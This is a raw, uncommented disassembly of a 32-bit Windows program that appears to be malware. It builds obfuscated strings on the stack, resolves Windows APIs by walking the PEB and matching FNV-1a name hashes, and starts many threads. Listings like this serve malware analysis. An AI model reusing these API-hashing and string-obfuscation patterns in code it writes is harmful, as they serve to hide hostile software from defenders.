call fcn.0041e8e0
call fcn.0041e950
call fcn.0041e9c0
call fcn.0041ea30
call fcn.0041eaa0
mov ecx, 0x5350b8
call fcn.00462840
test al, al
je 0x45fb88
mov ecx, 0x5350b8
call fcn.00462860
test al, al
jne 0x45fb88
lea ecx, [ebp - 0x1b5]
mov dword [ebp - 0x1b5], 0x70706268
mov dword [ebp - 0x1b1], 0x6476674c
mov dword [ebp - 0x1ad], 0x777d72
mov byte [ebp - 0x1a9], 1
call fcn.0040d440
push eax
mov ecx, 0x5350b8
call fcn.00469040
mov ecx, eax
call fcn.00462850
test al, al
je 0x45fb88
lea ecx, [ebp - 0x1cf]
mov dword [ebp - 0x1cf], 0x70706268
mov dword [ebp - 0x1cb], 0x6476674c
mov dword [ebp - 0x1c7], 0x777d72
mov byte [ebp - 0x1c3], 1
call fcn.0040d440
push eax
mov ecx, 0x5350b8
call fcn.00469040
mov ecx, eax
call fcn.00469270
lea ecx, [ebp - 0x16a]
mov byte [0x532aab], al
mov dword [ebp - 0x16a], 0x70706268
mov dword [ebp - 0x166], 0x72604c
mov byte [ebp - 0x162], 1
call fcn.0040b3b0
push eax
mov ecx, 0x5350b8
call fcn.00469040
mov ecx, eax
call fcn.00469270
lea ecx, [ebp - 0x29]
mov byte [0x532ab5], al
mov dword [ebp - 0x29], 0x70706268
mov dword [ebp - 0x25], 0x66704c
mov byte [ebp - 0x21], 1
call fcn.0040b3b0
push eax
mov ecx, 0x5350b8
call fcn.00469040
mov ecx, eax
call fcn.00469270
lea ecx, [ebp - 0x62]
mov byte [0x532aaa], al
mov dword [ebp - 0x62], 0x70706268
mov dword [ebp - 0x5e], 0x7a74634c
mov dword [ebp - 0x5a], 0x696d7d7b
mov word [ebp - 0x56], 0x100
call fcn.0040e910
push eax
mov ecx, 0x5350b8
call fcn.00469040
mov ecx, eax
call fcn.00469270
lea ecx, [ebp - 0x1de]
mov byte [0x532aa9], al
mov dword [ebp - 0x1de], 0x70706268
mov dword [ebp - 0x1da], 0x7f7d7d4c
mov dword [ebp - 0x1d6], 0x68766c64
mov word [ebp - 0x1d2], 0x62
mov byte [ebp - 0x1d0], 1
call fcn.0040a210
push eax
mov ecx, 0x5350b8
call fcn.00469040
mov ecx, eax
call fcn.00469270
lea ecx, [ebp - 0x174]
mov byte [0x532ab4], al
mov dword [ebp - 0x174], 0x70706268
mov dword [ebp - 0x170], 0x6661724c
mov word [ebp - 0x16c], 0x100
call fcn.0040e8b0
push eax
mov ecx, 0x5350b8
call fcn.00469040
mov ecx, eax
call fcn.00469270
lea ecx, [ebp - 0x1a8]
mov byte [0x532ab6], al
mov dword [ebp - 0x1a8], 0x70706268
mov dword [ebp - 0x1a4], 0x7b74734c
mov dword [ebp - 0x1a0], 0x1006b72
call fcn.0040e8e0
push eax
mov ecx, 0x5350b8
call fcn.00469040
mov ecx, eax
call fcn.00469270
mov byte [0x532aa8], al
movaps xmm0, xmmword [str.hbppLypedwnn]
lea ecx, [ebp - 0x39d]
movups xmmword [ebp - 0x39d], xmm0
mov byte [ebp - 0x38d], 1
call fcn.0040e880
push eax
mov ecx, 0x5350b8
call fcn.00469040
mov ecx, eax
call fcn.00469270
lea ecx, [ebp - 0x17e]
mov byte [0x532ab8], al
mov dword [ebp - 0x17e], 0x70706268
mov dword [ebp - 0x17a], 0x7865624c
mov word [ebp - 0x176], 0x100
call fcn.0040e8b0
push eax
mov ecx, 0x5350b8
call fcn.00469040
mov ecx, eax
call fcn.00469270
lea ecx, [ebp - 0x188]
mov byte [0x532ab7], al
mov dword [ebp - 0x188], 0x4d74637a
mov dword [ebp - 0x184], 0x757b627b
mov word [ebp - 0x180], 0x100
call fcn.0040e8b0
push eax
mov ecx, 0x5350b8
call fcn.00469040
mov ecx, eax
call fcn.00469270
movaps xmm0, xmmword [str.bucuvKwdxoj]
lea ecx, [ebp - 0xc4]
mov byte [0x534ea3], al
movups xmmword [ebp - 0xc4], xmm0
mov dword [ebp - 0xb4], 0x100416b
call fcn.0040e940
push eax
mov ecx, 0x5350b8
call fcn.00469040
mov ecx, eax
call fcn.00469270
mov byte [0x534e83], al
push 0x51f4b8
lea ecx, [ebp - 0x334]
call fcn.00402700
push 0x51f4b8
lea ecx, [ebp - 0x31c]
call fcn.00402700
push 0x51f4b8
lea ecx, [ebp - 0x304]
call fcn.00402700
lea eax, [ebp - 0x2ac]
mov ecx, 0x535170
push eax
call fcn.004626d0
lea eax, [ebp - 0x38c]
mov ecx, 0x535170
push eax
call fcn.00462660
lea eax, [ebp - 0x38c]
push eax
lea ecx, [ebp - 0x2ac]
call fcn.00466550
test al, al
jne 0x460267
mov ebx, dword [ebp - 0x10]
nop word [eax + eax]
lea ecx, [ebp - 0x2ac]
call fcn.00461dc0
lea ecx, [ebp - 0xea]
mov dword [ebp - 0xea], 0x777c7161
mov edi, eax
mov word [ebp - 0xe6], 0x100
call fcn.00462220
lea eax, [ebp - 0xea]
mov ecx, edi
push eax
call fcn.00469040
lea ecx, [ebp - 0x12c]
mov esi, eax
call fcn.00402770
lea edx, [ebp - 0x12c]
mov ecx, esi
call fcn.00478b60
movaps xmm0, xmmword [0x5254c0]
lea ecx, [ebp - 0xc6]
movups xmmword [ebp - 0xc6], xmm0
mov dword [ebp - 0xb6], 0x137e4571
mov word [ebp - 0xb2], 0x100
call fcn.00461f80
push 0
lea eax, [ebp - 0xc6]
push eax
lea ecx, [ebp - 0x12c]
call fcn.00464ab0
lea ecx, [ebp - 0x12c]
mov esi, eax
call fcn.00402660
test esi, esi
jne 0x45fe1d
lea ecx, [ebp - 0x14b]
mov dword [ebp - 0x14b], 0x677d7179
mov word [ebp - 0x147], 0x76
mov byte [ebp - 0x145], 1
call fcn.004094f0
push eax
mov ecx, edi
call fcn.00469040
lea ecx, [ebp - 0x34c]
push ecx
mov ecx, eax
call fcn.00469180
push eax
lea ecx, [ebp - 0x334]
call fcn.00464eb0
lea ecx, [ebp - 0x34c]
call fcn.00402660
lea ecx, [ebp - 0x46]
mov dword [ebp - 0x46], 0x2c637233
mov word [ebp - 0x42], 0x100
call fcn.00462220
push esi
lea eax, [ebp - 0x46]
push eax
lea ecx, [ebp - 0x334]
call fcn.00464ab0
cmp eax, 0xffffffff
je 0x45fe1d
nop dword [eax + eax]
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x74], 0x1001a02
call fcn.004623a0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x224]
call fcn.004027f0
lea ecx, [ebp - 0x74]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45fd53
sub ecx, edx
lea eax, [ebp - 0x74]
push ecx
push eax
lea ecx, [ebp - 0x224]
call fcn.00402810
lea ecx, [ebp - 0x9a]
mov dword [ebp - 0x9a], 0x2c637233
mov word [ebp - 0x96], 0x100
call fcn.00462220
push dword [ebp - 0x10]
lea ecx, [ebp - 0x12c]
call fcn.004027f0
lea ecx, [ebp - 0x9a]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45fda1
sub ecx, edx
lea eax, [ebp - 0x9a]
push ecx
push eax
lea ecx, [ebp - 0x12c]
call fcn.00402810
lea eax, [ebp - 0x224]
push eax
lea edx, [ebp - 0x12c]
lea ecx, [ebp - 0x334]
call fcn.0040c170
add esp, 4
lea ecx, [ebp - 0x12c]
call fcn.00402660
lea ecx, [ebp - 0x224]
call fcn.00402660
lea ecx, [ebp - 0x46]
mov dword [ebp - 0x46], 0x2c637233
mov word [ebp - 0x42], 0x100
call fcn.00462220
push 0
lea eax, [ebp - 0x46]
push eax
lea ecx, [ebp - 0x334]
call fcn.00464ab0
cmp eax, 0xffffffff
jne 0x45fd30
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0xf0], 0x777c7161
mov word [ebp - 0xec], 0x100
call fcn.00462220
lea eax, [ebp - 0xf0]
mov ecx, edi
push eax
call fcn.00469040
lea ecx, [ebp - 0x12c]
mov esi, eax
call fcn.00402770
lea edx, [ebp - 0x12c]
mov ecx, esi
call fcn.00478b60
movaps xmm0, xmmword [0x5254c0]
lea ecx, [ebp - 0xc6]
movups xmmword [ebp - 0xc6], xmm0
mov dword [ebp - 0xb6], 0x107e4571
mov word [ebp - 0xb2], 0x100
call fcn.00461f80
push 0
lea eax, [ebp - 0xc6]
push eax
lea ecx, [ebp - 0x12c]
call fcn.00464ab0
lea ecx, [ebp - 0x12c]
mov esi, eax
call fcn.00402660
test esi, esi
jne 0x46002d
lea ecx, [ebp - 0x152]
mov dword [ebp - 0x152], 0x677d7179
mov word [ebp - 0x14e], 0x76
mov byte [ebp - 0x14c], 1
call fcn.004094f0
push eax
mov ecx, edi
call fcn.00469040
lea ecx, [ebp - 0x34c]
push ecx
mov ecx, eax
call fcn.00469180
push eax
lea ecx, [ebp - 0x31c]
call fcn.00464eb0
lea ecx, [ebp - 0x34c]
call fcn.00402660
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], 0x2c637233
mov word [ebp - 0x3c], 0x100
call fcn.00462220
push esi
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x31c]
call fcn.00464ab0
cmp eax, 0xffffffff
je 0x46002d
nop dword [eax + eax]
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x78], 0x1001a02
call fcn.004623a0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x224]
call fcn.004027f0
lea ecx, [ebp - 0x78]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45ff63
sub ecx, edx
lea eax, [ebp - 0x78]
push ecx
push eax
lea ecx, [ebp - 0x224]
call fcn.00402810
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0xa0], 0x2c637233
mov word [ebp - 0x9c], 0x100
call fcn.00462220
push dword [ebp - 0x10]
lea ecx, [ebp - 0x12c]
call fcn.004027f0
lea ecx, [ebp - 0xa0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x45ffb1
sub ecx, edx
lea eax, [ebp - 0xa0]
push ecx
push eax
lea ecx, [ebp - 0x12c]
call fcn.00402810
lea eax, [ebp - 0x224]
push eax
lea edx, [ebp - 0x12c]
lea ecx, [ebp - 0x31c]
call fcn.0040c170
add esp, 4
lea ecx, [ebp - 0x12c]
call fcn.00402660
lea ecx, [ebp - 0x224]
call fcn.00402660
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x40], 0x2c637233
mov word [ebp - 0x3c], 0x100
call fcn.00462220
push 0
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x31c]
call fcn.00464ab0
cmp eax, 0xffffffff
jne 0x45ff40
lea ecx, [ebp - 0xf6]
mov dword [ebp - 0xf6], 0x777c7161
mov word [ebp - 0xf2], 0x100
call fcn.00462220
lea eax, [ebp - 0xf6]
mov ecx, edi
push eax
call fcn.00469040
lea ecx, [ebp - 0x12c]
mov esi, eax
call fcn.00402770
lea edx, [ebp - 0x12c]
mov ecx, esi
call fcn.00478b60
movaps xmm0, xmmword [0x5254c0]
lea ecx, [ebp - 0xc6]
movups xmmword [ebp - 0xc6], xmm0
mov dword [ebp - 0xb6], 0x117e4571
mov word [ebp - 0xb2], 0x100
call fcn.00461f80
push 0
lea eax, [ebp - 0xc6]
push eax
lea ecx, [ebp - 0x12c]
call fcn.00464ab0
lea ecx, [ebp - 0x12c]
mov esi, eax
call fcn.00402660
test esi, esi
jne 0x46023c
lea ecx, [ebp - 0x159]
mov dword [ebp - 0x159], 0x677d7179
mov word [ebp - 0x155], 0x76
mov byte [ebp - 0x153], 1
call fcn.004094f0
push eax
mov ecx, edi
call fcn.00469040
lea ecx, [ebp - 0x34c]
push ecx
mov ecx, eax
call fcn.00469180
push eax
lea ecx, [ebp - 0x304]
call fcn.00464eb0
lea ecx, [ebp - 0x34c]
call fcn.00402660
lea ecx, [ebp - 0x3a]
mov dword [ebp - 0x3a], 0x2c637233
mov word [ebp - 0x36], 0x100
call fcn.00462220
push esi
lea eax, [ebp - 0x3a]
push eax
lea ecx, [ebp - 0x304]
call fcn.00464ab0
cmp eax, 0xffffffff
je 0x46023c
nop dword [eax + eax]
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0x1001a02
call fcn.004623a0
push ebx
lea ecx, [ebp - 0x224]
call fcn.004027f0
lea ecx, [ebp - 0x7c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x460171
sub ecx, edx
lea eax, [ebp - 0x7c]
push ecx
push eax
lea ecx, [ebp - 0x224]
call fcn.00402810
lea ecx, [ebp - 0x8e]
mov dword [ebp - 0x8e], 0x2c637233
mov word [ebp - 0x8a], 0x100
call fcn.00462220
push dword [ebp - 0x10]
lea ecx, [ebp - 0x12c]
call fcn.004027f0
lea ecx, [ebp - 0x8e]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4601c0
sub ecx, edx
lea eax, [ebp - 0x8e]
push ecx
push eax
lea ecx, [ebp - 0x12c]
call fcn.00402810
lea eax, [ebp - 0x224]
push eax
lea edx, [ebp - 0x12c]
lea ecx, [ebp - 0x304]
call fcn.0040c170
add esp, 4
lea ecx, [ebp - 0x12c]
call fcn.00402660
lea ecx, [ebp - 0x224]
call fcn.00402660
lea ecx, [ebp - 0x3a]
mov dword [ebp - 0x3a], 0x2c637233
mov word [ebp - 0x36], 0x100
call fcn.00462220
push 0
lea eax, [ebp - 0x3a]
push eax
lea ecx, [ebp - 0x304]
call fcn.00464ab0
cmp eax, 0xffffffff
jne 0x460150
lea ecx, [ebp - 0x2ac]
call fcn.00461d70
lea eax, [ebp - 0x38c]
push eax
lea ecx, [ebp - 0x2ac]
call fcn.00466550
test al, al
je 0x45fc00
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
sub esp, 0x18
lea eax, [ebp - 0x304]
mov ecx, esp
push eax
call fcn.00465030
sub esp, 0x18
lea eax, [ebp - 0x31c]
mov ecx, esp
push eax
call fcn.00465030
sub esp, 0x18
lea eax, [ebp - 0x334]
mov ecx, esp
push eax
call fcn.00465030
call fcn.00409520
add esp, 0x48
cmp byte [0x534ea9], 0
jne 0x4611fd
call fcn.0044a6a0
call fcn.0044ccb0
push str.Facepalm
call ebx
mov ecx, 0x535034
call fcn.00461980
mov ecx, 0x535158
call fcn.00461980
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x44d490
push 0
push 0
call esi
push 0
push 0
push 0
push 0x44e6a0
push 0
push 0
mov dword [ebp - 0x20c], eax
call esi
push 0
push 0
push 0
push 0x452690
push 0
push 0
mov dword [ebp - 0x208], eax
call esi
mov dword [ebp - 0x1f4], eax
call fcn.0043b350
test al, al
je 0x4603b7
lea ecx, [ebp - 0x3f8]
call fcn.0043b5e0
lea ecx, [ebp - 0x161]
mov dword [ebp - 0x161], 0x7b767f63
mov edi, eax
mov dword [ebp - 0x15d], 0x100677d
call fcn.0040ff60
sub esp, 0x10
mov dword [ebp - 0x19c], 0x7e647159
mov esi, esp
mov dword [ebp - 0x198], 0x535c4b67
mov ecx, edi
mov word [ebp - 0x194], 0x100
push eax
call fcn.00469040
push eax
mov ecx, esi
call fcn.00462b40
lea ecx, [ebp - 0x19c]
call fcn.0040e8b0
push eax
mov ecx, 0x5350f0
call fcn.00469040
mov ecx, eax
call fcn.00462b00
lea ecx, [ebp - 0x3f8]
call fcn.00462ae0
call fcn.0043b5b0
lea ecx, [ebp - 0x3d0]
call fcn.0043c4a0
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x7b767f63
mov edi, eax
mov dword [ebp - 0x1c], 0x100677d
call fcn.0040ff60
movaps xmm0, xmmword [0x5259d0]
sub esp, 0x10
mov esi, esp
mov dword [ebp - 0x2c4], 0x1005373
mov ecx, edi
movups xmmword [ebp - 0x2d4], xmm0
push eax
call fcn.00469040
push eax
mov ecx, esi
call fcn.00462b40
lea ecx, [ebp - 0x2d4]
call fcn.0040e940
push eax
mov ecx, 0x5350f0
call fcn.00469040
mov ecx, eax
call fcn.00462b00
lea ecx, [ebp - 0x3d0]
call fcn.00462ae0
mov eax, dword fs:[0x30]
mov dword [ebp - 0x54], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4604a4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4604a4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46049d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460480
cmp esi, 0x71948ca4
je 0x4604a8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460468
mov eax, dword [eax]
jmp 0x460442
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
lea ecx, [ebp - 0x54]
add edi, edx
call fcn.00466cf0
lea ecx, [ebp - 0x20c]
mov esi, dword [eax]
call fcn.00466cf0
push esi
push dword [eax]
call edi
push 0
push 0x4bd38
call fcn.00407d20
add esp, 8
push eax
push dword [ebp - 0x208]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460569
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460569
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460562
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460545
cmp esi, 0x71948ca4
je 0x46056d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460530
mov eax, dword [eax]
jmp 0x460503
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x1f4]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460604
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460604
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4605fd
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4605e0
cmp esi, 0xfaba0065
je 0x460608
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4605c6
mov eax, dword [eax]
jmp 0x4605a0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x20c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460699
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460699
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460692
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460675
cmp esi, 0xfaba0065
je 0x46069d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460660
mov eax, dword [eax]
jmp 0x460635
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x208]
add esi, edx
call fcn.00466cf0
push dword [eax]
call esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460734
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460734
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x46072d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460710
cmp esi, 0xfaba0065
je 0x460738
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4606f7
mov eax, dword [eax]
jmp 0x4606d1
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [ebp - 0x1f4]
add esi, edx
call fcn.00466cf0
push dword [eax]
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x452c50
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x4545f0
push 0
push 0
mov dword [ebp - 0x1fc], eax
call ebx
push 0
push 0
push 0
push 0x457620
push 0
push 0
mov dword [ebp - 0x1f8], eax
call ebx
push 0
push 0
push 0
push 0x459880
push 0
push 0
mov dword [ebp - 0x54], eax
call ebx
push 0
push 0
push 0
push 0x45c420
push 0
push 0
mov dword [ebp - 0x114], eax
call ebx
push 0
push 0
push 0
push 0x45c580
push 0
push 0
mov dword [ebp - 0x70], eax
call ebx
push 0
push 0
push 0
push 0x45e0d0
push 0
push 0
mov dword [ebp - 0x6c], eax
call ebx
sub esp, 0x18
mov dword [ebp - 0x68], eax
mov ecx, esp
push 0x532ad4
call fcn.00465030
sub esp, 0x18
lea eax, [ebp - 0x264]
mov ecx, esp
push eax
call fcn.00465030
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x27c]
push eax
call fcn.00465030
sub esp, 0x18
mov ecx, esp
push 0x532aec
call fcn.00465030
call fcn.0040d470
mov eax, dword fs:[0x30]
add esp, 0x60
mov dword [ebp - 0x34], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x4608b9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4608b9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4608b2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460895
cmp esi, 0x71948ca4
je 0x4608bd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460880
mov eax, dword [eax]
jmp 0x460856
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
lea ecx, [ebp - 0x34]
add edi, edx
call fcn.00466cf0
lea ecx, [ebp - 0x1fc]
mov esi, dword [eax]
call fcn.00466cf0
push esi
push dword [eax]
call edi
mov eax, dword fs:[0x30]
mov dword [ebp - 0x34], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460969
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460969
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460962
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460945
cmp esi, 0x71948ca4
je 0x46096d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x460930
mov eax, dword [eax]
jmp 0x460903
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
lea ecx, [ebp - 0x34]
add edi, edx
call fcn.00466cf0
lea ecx, [ebp - 0x1f8]
mov esi, dword [eax]
call fcn.00466cf0
push esi
push dword [eax]
call edi
push 0x493e0
push dword [ebp - 0x54]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov dword [ebp - 0x34], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460a24
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460a24
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460a1d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460a00
cmp esi, 0x71948ca4
je 0x460a28
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4609e7
mov eax, dword [eax]
jmp 0x4609c1
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
lea ecx, [ebp - 0x34]
add edi, edx
call fcn.00466cf0
lea ecx, [ebp - 0x114]
mov esi, dword [eax]
call fcn.00466cf0
push esi
push dword [eax]
call edi
push 0x493e0
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [esi + edx]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x460ad9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x460ad9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x460ad2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x460ab5
cmp esi, 0x71948ca4
je 0x460add
